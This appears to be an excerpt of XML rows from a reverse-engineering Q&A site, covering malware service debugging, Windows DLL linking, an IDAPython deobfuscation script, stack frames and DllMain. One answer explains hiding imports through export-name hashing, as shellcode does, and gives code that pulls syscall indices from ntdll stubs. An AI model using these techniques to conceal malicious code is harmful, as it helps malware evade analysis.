  <row Id="2069" PostTypeId="2" ParentId="2019" CreationDate="2013-05-22T01:28:10.607" Score="4" Body="&lt;p&gt;Several great answers here, and the one posted by Igor is perfect for debugging the service before it actually starts. One piece of insight I would like to contribute is looking into the malware to see if there are any threads that are created that hold the functionality you wish to review. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oftentimes in my analysis, I've dealt with malware that runs as a service, but rather than go through some of the hoops you need to go through to launch a debugger when the service is invoked, I often have luck looking at the malware for a main thread that is spun off after initial criteria for the service startup is handled. Once I find the 'main', thread (assuming it exists and is standalone) I will just load the DLL/EXE in Olly, set my new origin on the thread start and proceed on with my debugging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;End of day, its really just a different approach, but something to possibly consider if the situation presents itself. &lt;/p&gt;&#xA;" OwnerUserId="2017" LastActivityDate="2013-05-22T01:28:10.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2070" PostTypeId="1" AcceptedAnswerId="2075" CreationDate="2013-05-22T08:29:47.090" Score="30" ViewCount="13269" Body="&lt;p&gt;I have compiled following C source code in VS2010 console project.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;int main(int argc, char* argv[]){&#xA;    printf(&quot;hello world\n&quot;);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then I used &lt;code&gt;/MT&lt;/code&gt; option for release mode to statically link the C-runtime library.&#xA;However, as far as I know, C-runtime library still invokes lower level system functions - &#xA;for example, C-runtime function &lt;code&gt;printf&lt;/code&gt; eventually calls &lt;code&gt;WriteFile&lt;/code&gt; Windows API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the actual function body of &lt;code&gt;WriteFile&lt;/code&gt; is in &lt;code&gt;kernel32.dll&lt;/code&gt;.&#xA;So, even if I link the C-runtime library statically, the binary doesn't contain&#xA;the entire routine including the &lt;code&gt;SYSENTER&lt;/code&gt;, or &lt;code&gt;INT 0x2E&lt;/code&gt; instructions...&#xA;The core part is still in a DLL. The following diagram describes how I understand it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w2XJH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want is to statically link EVERYTHING into single EXE file. Including &lt;code&gt;kernel32.dll&lt;/code&gt;, &lt;code&gt;user32.dll&lt;/code&gt; to eliminate the necessity of loader parsing the IAT and resolving the function names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following picture describes what I want:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IQtdo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand this is simple in Linux with &lt;code&gt;gcc&lt;/code&gt;. All I have to do is give the option &lt;code&gt;-static&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any option like this in VS2010? Please correct me if I'm misunderstanding.&lt;/p&gt;&#xA;" OwnerUserId="2034" LastEditorUserId="107" LastEditDate="2013-09-18T22:03:45.827" LastActivityDate="2021-12-26T00:24:10.453" Title="Can I statically link (not import) the Windows system DLLs?" Tags="|windows|dll|compilers|symbols|dynamic-linking|" AnswerCount="4" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2071" PostTypeId="2" ParentId="2070" CreationDate="2013-05-22T09:53:58.997" Score="17" Body="&lt;p&gt;The Windows kernel, unlike Linux or OS X, does not use consistent syscall numbering across versions. The numbers can change even after a servicepack release. For example, the &lt;code&gt;NtReadFile&lt;/code&gt; syscall was &lt;code&gt;0x0086&lt;/code&gt; on Windows NT 4 but on Windows 7 it's &lt;code&gt;0x0111&lt;/code&gt; (see &lt;a href=&quot;http://j00ru.vexillium.org/ntapi/&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; for the full list).&#xA;That's why all proper programs use the &lt;code&gt;kernel32.dll&lt;/code&gt; (or &lt;code&gt;ntdll.dll&lt;/code&gt;) to perform the actual call - these DLLs are guaranteed to use the syscall numbers matching the kernel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, you won't save anything by not listing &lt;code&gt;kernel32.dll&lt;/code&gt; in your IAT - it's always mapped into Win32 processes by the system loader (starting from Windows 2000 IIRC).&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="245" LastEditDate="2013-09-18T16:53:08.203" LastActivityDate="2013-09-18T16:53:08.203" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2072" PostTypeId="1" CreationDate="2013-05-22T10:24:59.267" Score="6" ViewCount="2299" Body="&lt;p&gt;Can anyone tell me how to clean up the code which contains the following blocks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call $+5&#xA;pop reg&#xA;add reg, 08BE96h&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In other words I need to change all such blocks to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov reg, offset&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Edit # 1&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;List all block EA's:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ea = ScreenEA()&#xA;for funcea in Functions(SegStart(ea), SegEnd(ea)):&#xA;    E = list(FuncItems(funcea))&#xA;    for e in E:&#xA;        if idc.GetMnem(e) == &quot;call&quot; and idc.GetOpnd(e, 0) == &quot;$+5&quot; and idc.GetMnem(e + 5) == &quot;pop&quot;:&#xA;            print &quot;%x&quot; % e&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="227" LastEditorUserId="227" LastEditDate="2013-05-22T12:25:55.823" LastActivityDate="2013-08-28T19:56:22.037" Title="IDA [call $+5 / pop reg] cleaning" Tags="|ida|ida-plugin|idapython|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2073" PostTypeId="1" AcceptedAnswerId="2074" CreationDate="2013-05-22T14:42:12.397" Score="17" ViewCount="23233" Body="&lt;p&gt;When execution enters a new function by performing call  I do often see this code template (asm list generated by Gnu Debugger when in debugging mode):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x00401170  push   %ebp&#xA;0x00401171  mov    %esp,%ebp&#xA;0x00401173  pop    %ebp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So what's the purpose of moving esp to ebp?&lt;/p&gt;&#xA;" OwnerUserId="2038" LastEditorUserId="2038" LastEditDate="2014-03-03T10:46:41.783" LastActivityDate="2014-03-03T10:46:41.783" Title="What purpose of mov %esp,%ebp?" Tags="|disassembly|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2074" PostTypeId="2" ParentId="2073" CreationDate="2013-05-22T14:48:58.710" Score="24" Body="&lt;p&gt;Moving &lt;code&gt;esp&lt;/code&gt; into &lt;code&gt;ebp&lt;/code&gt; is done as a debugging aid and in some cases for exception handling.  &lt;code&gt;ebp&lt;/code&gt; is often called the frame pointer.  With this in mind, think of what happens if you call several functions.  &lt;code&gt;ebp&lt;/code&gt; points to a block of memory where you pushed the old &lt;code&gt;ebp&lt;/code&gt;, which itself points to another saved &lt;code&gt;ebp&lt;/code&gt;, etc.  Thus, you have a linked list of stack frames.  From these, you can look at the return addresses (which are always 4 bytes above the frame pointer in the stack frame) to find out what line of code called a stack frame in question.  The instruction pointer can tell you the location of current execution.  This allows you to generate a &lt;a href=&quot;https://en.wikipedia.org/wiki/Stack_trace&quot;&gt;stacktrace&lt;/a&gt; which is useful for debugging by showing the flow of execution throughout a program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a practical example consider the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void foo();&#xA;void bar();&#xA;void baz();&#xA;void quux();&#xA;&#xA;void foo() {&#xA;    bar();&#xA;}&#xA;&#xA;void bar() {&#xA;    baz();&#xA;    quux();&#xA;}&#xA;&#xA;void baz() {&#xA;    //do nothing&#xA;}&#xA;&#xA;void quux() {&#xA;    *(int*)(0) = 1; //SEGFAULT!&#xA;}&#xA;&#xA;int main() {&#xA;    foo();&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This generates the following assembly (with Debian gcc 4.7.2-4 &lt;code&gt;gcc -m32 -g test.c&lt;/code&gt;, snipped):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;080483dc &amp;lt;foo&amp;gt;:&#xA; 80483dc:   55                      push   %ebp&#xA; 80483dd:   89 e5                   mov    %esp,%ebp&#xA; 80483df:   83 ec 08                sub    $0x8,%esp&#xA; 80483e2:   e8 02 00 00 00          call   80483e9 &amp;lt;bar&amp;gt;&#xA; 80483e7:   c9                      leave  &#xA; 80483e8:   c3                      ret    &#xA;&#xA;080483e9 &amp;lt;bar&amp;gt;:&#xA; 80483e9:   55                      push   %ebp&#xA; 80483ea:   89 e5                   mov    %esp,%ebp&#xA; 80483ec:   83 ec 08                sub    $0x8,%esp&#xA; 80483ef:   e8 07 00 00 00          call   80483fb &amp;lt;baz&amp;gt;&#xA; 80483f4:   e8 07 00 00 00          call   8048400 &amp;lt;quux&amp;gt;&#xA; 80483f9:   c9                      leave  &#xA; 80483fa:   c3                      ret    &#xA;&#xA;080483fb &amp;lt;baz&amp;gt;:&#xA; 80483fb:   55                      push   %ebp&#xA; 80483fc:   89 e5                   mov    %esp,%ebp&#xA; 80483fe:   5d                      pop    %ebp&#xA; 80483ff:   c3                      ret    &#xA;&#xA;08048400 &amp;lt;quux&amp;gt;:&#xA; 8048400:   55                      push   %ebp&#xA; 8048401:   89 e5                   mov    %esp,%ebp&#xA; 8048403:   b8 00 00 00 00          mov    $0x0,%eax&#xA; 8048408:   c7 00 01 00 00 00       movl   $0x1,(%eax)&#xA; 804840e:   5d                      pop    %ebp&#xA; 804840f:   c3                      ret    &#xA;&#xA;08048410 &amp;lt;main&amp;gt;:&#xA; 8048410:   55                      push   %ebp&#xA; 8048411:   89 e5                   mov    %esp,%ebp&#xA; 8048413:   83 e4 f0                and    $0xfffffff0,%esp&#xA; 8048416:   e8 c1 ff ff ff          call   80483dc &amp;lt;foo&amp;gt;&#xA; 804841b:   b8 00 00 00 00          mov    $0x0,%eax&#xA; 8048420:   c9                      leave  &#xA; 8048421:   c3                      ret    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;code&gt;leave&lt;/code&gt; is the same as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov %ebp, %esp&#xA;pop %ebp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this in mind, and the standard-ish C calling convention on x86, we know that the stack at the segfault is going to look like:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;em&gt;top of main's stack frame&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;stack space for main - in this case, enough to align on 16 bytes&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0x0804841b&lt;/code&gt; &lt;em&gt;return address for&lt;/em&gt; &lt;code&gt;call foo&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;pointer to &lt;code&gt;1.&lt;/code&gt;&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;stack space for foo&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0x080483e7&lt;/code&gt; &lt;em&gt;return address for&lt;/em&gt; &lt;code&gt;call bar&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;pointer to &lt;code&gt;4.&lt;/code&gt;&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;stack space for bar&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0x080483f9&lt;/code&gt; &lt;em&gt;return address for&lt;/em&gt; &lt;code&gt;call quux&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;pointer to &lt;code&gt;7.&lt;/code&gt;&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;stack space for quux&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The instruction pointer will be &lt;code&gt;0x08048408&lt;/code&gt;. &lt;code&gt;ebp&lt;/code&gt; will point to &lt;em&gt;&lt;code&gt;10.&lt;/code&gt;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point, the processor generates an exception, which the operating system processes.  It then sends &lt;code&gt;SIGSEGV&lt;/code&gt; to the process, which obligingly terminates and dumps core.  You then bring up the core dump in gdb with &lt;code&gt;gdb -c core&lt;/code&gt;, and you type in &lt;code&gt;file a.out&lt;/code&gt; and &lt;code&gt;bt&lt;/code&gt;, and it gives you in response:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#0  0x08048408 in quux () at test.c:20&#xA;#1  0x080483f9 in bar () at test.c:12&#xA;#2  0x080483e7 in foo () at test.c:7&#xA;#3  0x0804841b in main () at test.c:24&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;#0&lt;/code&gt; is generated from the instruction pointer.  Then, it goes to &lt;code&gt;ebp&lt;/code&gt; (10), looks at the previous item on the stack (9), and generates &lt;code&gt;#1&lt;/code&gt;.  It follows &lt;code&gt;ebp&lt;/code&gt; (i.e. &lt;code&gt;mov %ebp, (%ebp)&lt;/code&gt;) to (7), and looks 4 bytes above that (6) to generate &lt;code&gt;#2&lt;/code&gt;.  It finally follows (7) to (4) and looks at (3) to generate &lt;code&gt;#3&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;  This is but one way of doing such stack tracing.  GDB is very, very smart, and can perform the stack trace even when you use &lt;code&gt;-fomit-frame-pointer&lt;/code&gt;.  However, in a very basic implementation this is probably the simplest way to generate a stack trace.&lt;/p&gt;&#xA;" OwnerUserId="146" LastEditorUserId="146" LastEditDate="2013-05-22T15:40:41.830" LastActivityDate="2013-05-22T15:40:41.830" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2075" PostTypeId="2" ParentId="2070" CreationDate="2013-05-22T16:59:10.887" Score="20" Body="&lt;p&gt;Let me start by telling you that what you want would be impossible, because of how well-known DLLs work. You can attempt something similar with tools like &lt;a href=&quot;https://bitsum.com/pebundle.asp&quot; rel=&quot;nofollow noreferrer&quot;&gt;PEBundle&lt;/a&gt; or &lt;a href=&quot;https://github.com/rwfpl/rewolf-dllpackager&quot; rel=&quot;nofollow noreferrer&quot;&gt;dllpackager&lt;/a&gt;, but that will usually (I'd say certainly) fail with the well-known DLLs (such as system DLLs as well as even the MSVC runtime DLLs in their different incarnations). See &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;https://web.archive.org/web/20150629150222/http://blogs.msdn.com:80/b/larryosterman/archive/2004/07/19/187752.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; on the relevance and meaning of well-known DLLs.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;kernel32.dll&lt;/code&gt; plays a &lt;em&gt;very&lt;/em&gt; special role in in the Win32 subsystem in that it helps to register Win32 threads and processes with the subsystem (&lt;code&gt;csrss.exe&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Answering the part from the comment of the OP on the question:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;in fact, I was not looking for performance advantage. I thought, in this way, I can remove every symbols just like Linux stripped binary and make the reversing harder.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;There is no point in doing it this way then. You could still only import a single function and use a convoluted way of importing DLLs and/or resolving functions. I.e. concealing which functions you are importing from which DLLs. One thing that is rather popular in hacker circles is to hash the exported function names and then walk the exports of the loaded image yourself, hashing each of the function names found and comparing with the known hashed values.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.hick.org/code/skape/papers/win32-shellcode.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here's a good paper&lt;/a&gt; on one method used for what you want, because shell code has no clue about imported function addresses in a hijacked process.&lt;/p&gt;&#xA;&lt;p&gt;As Igor pointed out &lt;code&gt;kernel32.dll&lt;/code&gt; will be loaded into the process and AFAIR the order of that has changed as well with Vista (previously &lt;code&gt;ntdll.dll&lt;/code&gt; was the first one in the &lt;a href=&quot;http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/Process/PEB.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;PEB&lt;/a&gt;'s DLL list, aka &lt;a href=&quot;http://undocumented.ntinternals.net/UserMode/Structures/PEB_LDR_DATA.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;LoaderData&lt;/code&gt;&lt;/a&gt;). So the exact method has been laid out in above paper.&lt;/p&gt;&#xA;&lt;p&gt;A few more points:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;if you don't want to use &lt;code&gt;LoadLibrary&lt;/code&gt; (or its &lt;code&gt;ntdll.dll&lt;/code&gt; counterpart) to dynamically load the DLLs, you can keep a reference to a single imported function in the IAT - this is how some executable packers do it.&lt;/li&gt;&#xA;&lt;li&gt;if not, start by resolving &lt;code&gt;LoadLibraryA&lt;/code&gt;, loading the DLLs you want and then using the resolved &lt;code&gt;GetProcAddress&lt;/code&gt; (or your own method used already on &lt;code&gt;kernel32.dll&lt;/code&gt; and outlined in the paper) to load more functions.&lt;/li&gt;&#xA;&lt;li&gt;you may be making your life harder while not making it noticeably harder to a skilled/experienced reverse engineer. Most of them will have seen a similar scheme ;) ... dynamic analysis will easily reveal your tricks and enable a reverse engineer to work around them.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;As an alternative you could resort to the system call numbers by writing a simplified disassembler that is able to pick out the index into the SSDT (system service descriptor table) and then you do the rest yourself. This has been documented long ago because it is how people used to find the index into the SSDT when they wanted to hook it from within a kernel mode driver. Roughly, if you have the pointer to the function in &lt;code&gt;ntdll.dll&lt;/code&gt; to which you need the SSDT index, you'd check your assumptions and then retrieve the appropriate value. In Windows NT 4 through 2003 (32 bit) this would look like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  B8 ?? ?? ?? ??&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;where &lt;code&gt;B8&lt;/code&gt; is for &lt;code&gt;mov eax, ????????&lt;/code&gt; and the question marks are the index into the SSDT. So after checking for the &lt;code&gt;B8&lt;/code&gt; you'd skip over it and fetch the next DWORD. Example in C code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if ((lpAddr) &amp;amp;&amp;amp; *((unsigned char *)lpAddr) == 0xB8)&#xA;{&#xA;    result = *((ULONG *)((unsigned char *)lpAddr+1));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Things will be different on different operating system versions and depending on the bitness - you have been warned.&lt;/p&gt;&#xA;&lt;p&gt;But I don't see any advantage - neither performance-wise nor in deterring reverse engineering efforts.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2021-12-16T10:42:00.323" LastActivityDate="2021-12-16T10:42:00.323" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="2076" PostTypeId="1" CreationDate="2013-05-22T18:09:31.070" Score="4" ViewCount="106" Body="&lt;p&gt;I have a large group of new and old devices and I would like to find a FPGA to start poking around on. What products or types will be likely to have FPGAs in them?&lt;/p&gt;&#xA;" OwnerUserId="2040" LastActivityDate="2013-05-22T18:09:31.070" Title="Likely places to look to find cheap sources of FPGA? Which devices should I open first?" Tags="|fpga|" AnswerCount="0" CommentCount="6" ClosedDate="2013-05-24T16:33:44.097" ContentLicense="CC BY-SA 3.0" />
  <row Id="2077" PostTypeId="5" CreationDate="2013-05-22T18:45:45.943" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-05-22T18:45:45.943" LastActivityDate="2013-05-22T18:45:45.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2078" PostTypeId="4" CreationDate="2013-05-22T18:45:45.943" Score="0" Body="FPGA stands for field programmable gate array. It is programmable logic which usually is faster than writing some specific software for it since you write actual hardware. Languages used to synthesize code to a FPGA are for example: vhdl and verilog." OwnerUserId="1612" LastEditorUserId="189" LastEditDate="2013-05-23T01:14:27.513" LastActivityDate="2013-05-23T01:14:27.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2079" PostTypeId="1" AcceptedAnswerId="2089" CreationDate="2013-05-22T19:33:34.490" Score="15" ViewCount="22713" Body="&lt;p&gt;I have a piece a malware to analyze. It is a DLL according to the &lt;code&gt;IMAGE_FILE_HEADER-&amp;gt;Characteristics&lt;/code&gt;. I was trying to do some dynamic analysis on it. I have done the following:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Run it with &lt;code&gt;rundll32.exe&lt;/code&gt;, by calling its exports. Nothing.&lt;/li&gt;&#xA;&lt;li&gt;Changed the binary's characteristics to an exe. Nothing.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;So I moved on to static analysis, Loaded on IDA and OllyDbg.&#xA;Which brings me to my question. :)&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;What is the main difference between &lt;code&gt;DllMain&lt;/code&gt; and &lt;code&gt;DllEntryPoint&lt;/code&gt;?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;When/How does one get call vs the other?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;[EDIT]&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;So after reading MSDN and a couple of books on MS programming. I understand &lt;code&gt;DllEntryPoint&lt;/code&gt;.&#xA;&lt;code&gt;DllEntryPoint&lt;/code&gt; is your &lt;code&gt;DllMain&lt;/code&gt; when writing your code. Right?!&#xA;So then why have &lt;code&gt;DllMain&lt;/code&gt;. In other words, when opening the binary in IDA you have &lt;code&gt;DllEntryPoint&lt;/code&gt; and &lt;code&gt;DllMain&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I know it is probably something easy but I am visual person, so obviously not seeing something here.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="8200" LastEditDate="2020-06-22T11:29:43.850" LastActivityDate="2020-06-22T11:29:43.850" Title="Difference between DllMain and DllEntryPoint" Tags="|windows|malware|dll|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2080" PostTypeId="2" ParentId="2072" CreationDate="2013-05-22T19:50:53.320" Score="9" Body="&lt;p&gt;Here's a rough implementation that scans the currently focused function for this pattern:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call $+5&#xA;pop &amp;lt;reg&amp;gt;&#xA;op &amp;lt;reg&amp;gt;, imm32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And changes it to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov &amp;lt;reg&amp;gt;, &amp;lt;computed imm32&amp;gt;&#xA;nop&#xA;nop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Adapting it to scan different ranges and support more instructions is left as an exercise to the reader.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def simplify(tgtEA):&#xA;  ins1 = tgtEA&#xA;  if not idc.isHead(idc.GetFlags(ins1)):&#xA;    ins1 = idaapi.prev_head(ins1, limits.startEA)&#xA;&#xA;  ins2 = idaapi.next_head(ins1, limits.endEA)&#xA;  if ins2 == 0xFFFFFFFF:&#xA;    return False&#xA;&#xA;  ins3 = idaapi.next_head(ins2, limits.endEA)&#xA;  if ins3 == 0xFFFFFFFF:&#xA;    return False&#xA;&#xA;  print &quot;Scanning instructions at %d, %d, %d&quot; % (ins1, ins2, ins3)&#xA;&#xA;  result = ins2&#xA;  matched = False&#xA;  reg = 0&#xA;&#xA;  if idc.GetMnem(ins1) == &quot;call&quot;:&#xA;    if idc.GetOpnd(ins1, 0) == &quot;$+5&quot;:&#xA;      if idc.GetMnem(ins2) == &quot;pop&quot;:&#xA;        if idc.GetOpType(ins3, 0) == 1:&#xA;          reg = GetOperandValue(ins2, 0)&#xA;          if idc.GetOperandValue(ins3, 0) == reg:&#xA;            op = idc.GetMnem(ins3)&#xA;            optype = idc.GetOpType(ins3, 1)&#xA;&#xA;            if op == &quot;inc&quot;:&#xA;              matched = True&#xA;              result = result + 1&#xA;            elif op == &quot;dec&quot;:&#xA;              matched = True&#xA;              result = result - 1&#xA;            elif op == &quot;add&quot;:&#xA;              if optype == 5:&#xA;                # optype 5 = immediate&#xA;                matched = True&#xA;                offset = idc.GetOperandValue(ins3, 1)&#xA;                result = result + offset&#xA;&#xA;  if matched:&#xA;    # patch the bytes by hand - there's no nice API to assemble(&quot;foo bar&quot;)?&#xA;    # MOV r32, imm32 = 0xB8 /rd &#xA;    # reg is the register number acquired from IDA operand value&#xA;    # IDA uses the same register numbering as Intel&#xA;    regbyte = 0xB8 + reg;&#xA;    idaapi.patch_byte(ins1, regbyte)&#xA;    idaapi.patch_long(ins1 + 1, result)&#xA;    idaapi.patch_word(ins1 + 5, 0x9090) # NOP NOP &#xA;    return True&#xA;&#xA;  return False&#xA;&#xA;# ----&#xA;&#xA;curEA = ScreenEA()&#xA;tgtEA = idaapi.askaddr(curEA, &quot;Enter target address&quot;)&#xA;#tgtEA = curEA&#xA;if tgtEA is None:&#xA;  exit&#xA;&#xA;f = idaapi.get_func(tgtEA)&#xA;if not f:&#xA;  print &quot;No function at 0x%x&quot; % (tgtEA)&#xA;  exit&#xA;&#xA;limits = idaapi.area_t()&#xA;if not idaapi.get_func_limits(f, limits):&#xA;  print &quot;No limits in this function?!&quot;&#xA;  exit&#xA;&#xA;print &quot;Scanning function from %x to %x&quot; % (limits.startEA, limits.endEA)&#xA;&#xA;itEA = limits.startEA&#xA;while itEA &amp;lt; limits.endEA:&#xA;  if simplify(itEA):&#xA;    itEA = idaapi.next_head(itEA + 7, limits.endEA)&#xA;  else:&#xA;    itEA = idaapi.next_head(itEA, limits.endEA)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="262" LastActivityDate="2013-05-22T19:50:53.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2081" PostTypeId="2" ParentId="2079" CreationDate="2013-05-22T20:38:57.020" Score="12" Body="&lt;p&gt;&lt;strong&gt;&lt;code&gt;DllEntryPoint&lt;/code&gt;&lt;/strong&gt; - is the address from which the execution will start (but does not have to if we are speaking about malware) after the loader had finished the loading process of the PE image. This address is specified inside the PE optional header. Please look &lt;a href=&quot;http://www.csn.ul.ie/~caolan/publink/winresdump/winresdump/doc/pefile.html&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;. The other name for &lt;code&gt;DllEntryPoint&lt;/code&gt; is &lt;code&gt;AddressOfEntryPoint&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;code&gt;DllMain&lt;/code&gt;&lt;/strong&gt; - is the default function name that is given during DLL development and it is how the compiler knows that it should take the address of this function and put it inside PE &lt;code&gt;AddressOfEntryPoint&lt;/code&gt; field. The developer can change this name to whatever he wants but he should instruct the compiler then, what function to use in that case. In addition, if the library is just a bunch of functions (let's say not an application ), then the compiler will provide default implementation of the &lt;code&gt;DllMain&lt;/code&gt; function. Please look further &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms682583%28v=vs.85%29.aspx&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; in remarks.&lt;/p&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="245" LastEditDate="2013-05-23T12:42:48.680" LastActivityDate="2013-05-23T12:42:48.680" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2082" PostTypeId="1" AcceptedAnswerId="2085" CreationDate="2013-05-23T04:11:09.953" Score="14" ViewCount="6865" Body="&lt;p&gt;Are there any good WinDbg hiding plugins like OllyDbg's? Or a plugin that's open source and still in development for this purpose?&lt;/p&gt;&#xA;" OwnerUserId="2043" LastEditorUserId="245" LastEditDate="2013-05-23T12:41:26.890" LastActivityDate="2017-05-31T14:29:52.023" Title="Debugger hiding plugin for WinDbg?" Tags="|debuggers|anti-debugging|windbg|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
